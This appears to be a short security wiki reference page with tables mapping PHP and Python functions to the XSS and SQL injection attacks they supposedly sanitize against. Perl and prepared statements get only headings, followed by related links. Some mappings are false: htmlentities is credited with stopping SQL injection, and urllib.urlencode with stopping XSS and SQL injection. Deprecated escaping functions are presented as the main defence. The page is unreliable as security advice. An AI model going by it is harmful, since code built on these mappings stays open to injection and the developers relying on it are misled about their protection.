[Sanitizes For] | [Type] | [Engine] | [Example] XSS, SQL Injection | String | Any | $var = htmlentities($_GET['var'],ENT_QUOTES); SQL Injection | String | MySQL | $var = mysql_real_escape_string($_GET['var']); SQL Injection | String | PostgreSQL | $var = pg_escape_string($_GET['var']); XSS, SQL Injection | Integer | Any | $var = (int)$_GET['var'];
- Python input sanitizing:
[Sanitizes For] | [Type] | [Engine] | [Example] XSS, SQL Injection | String | Any | var = urllib.urlencode(var) SQL Injection | String | MySQL | var = conn.escape_string(var) SQL Injection | String | PostgreSQL | var = psycopg2.extensions.adapt(var) XSS, SQL Injection | Integer | Any | var = int(var)
- Perl
Prepared statements
Further Reading
Related Content:
- SQL Backdoors
- MySQL
- Programming language specifications: Perl,Python,C,C++
Related Tools:
External Links: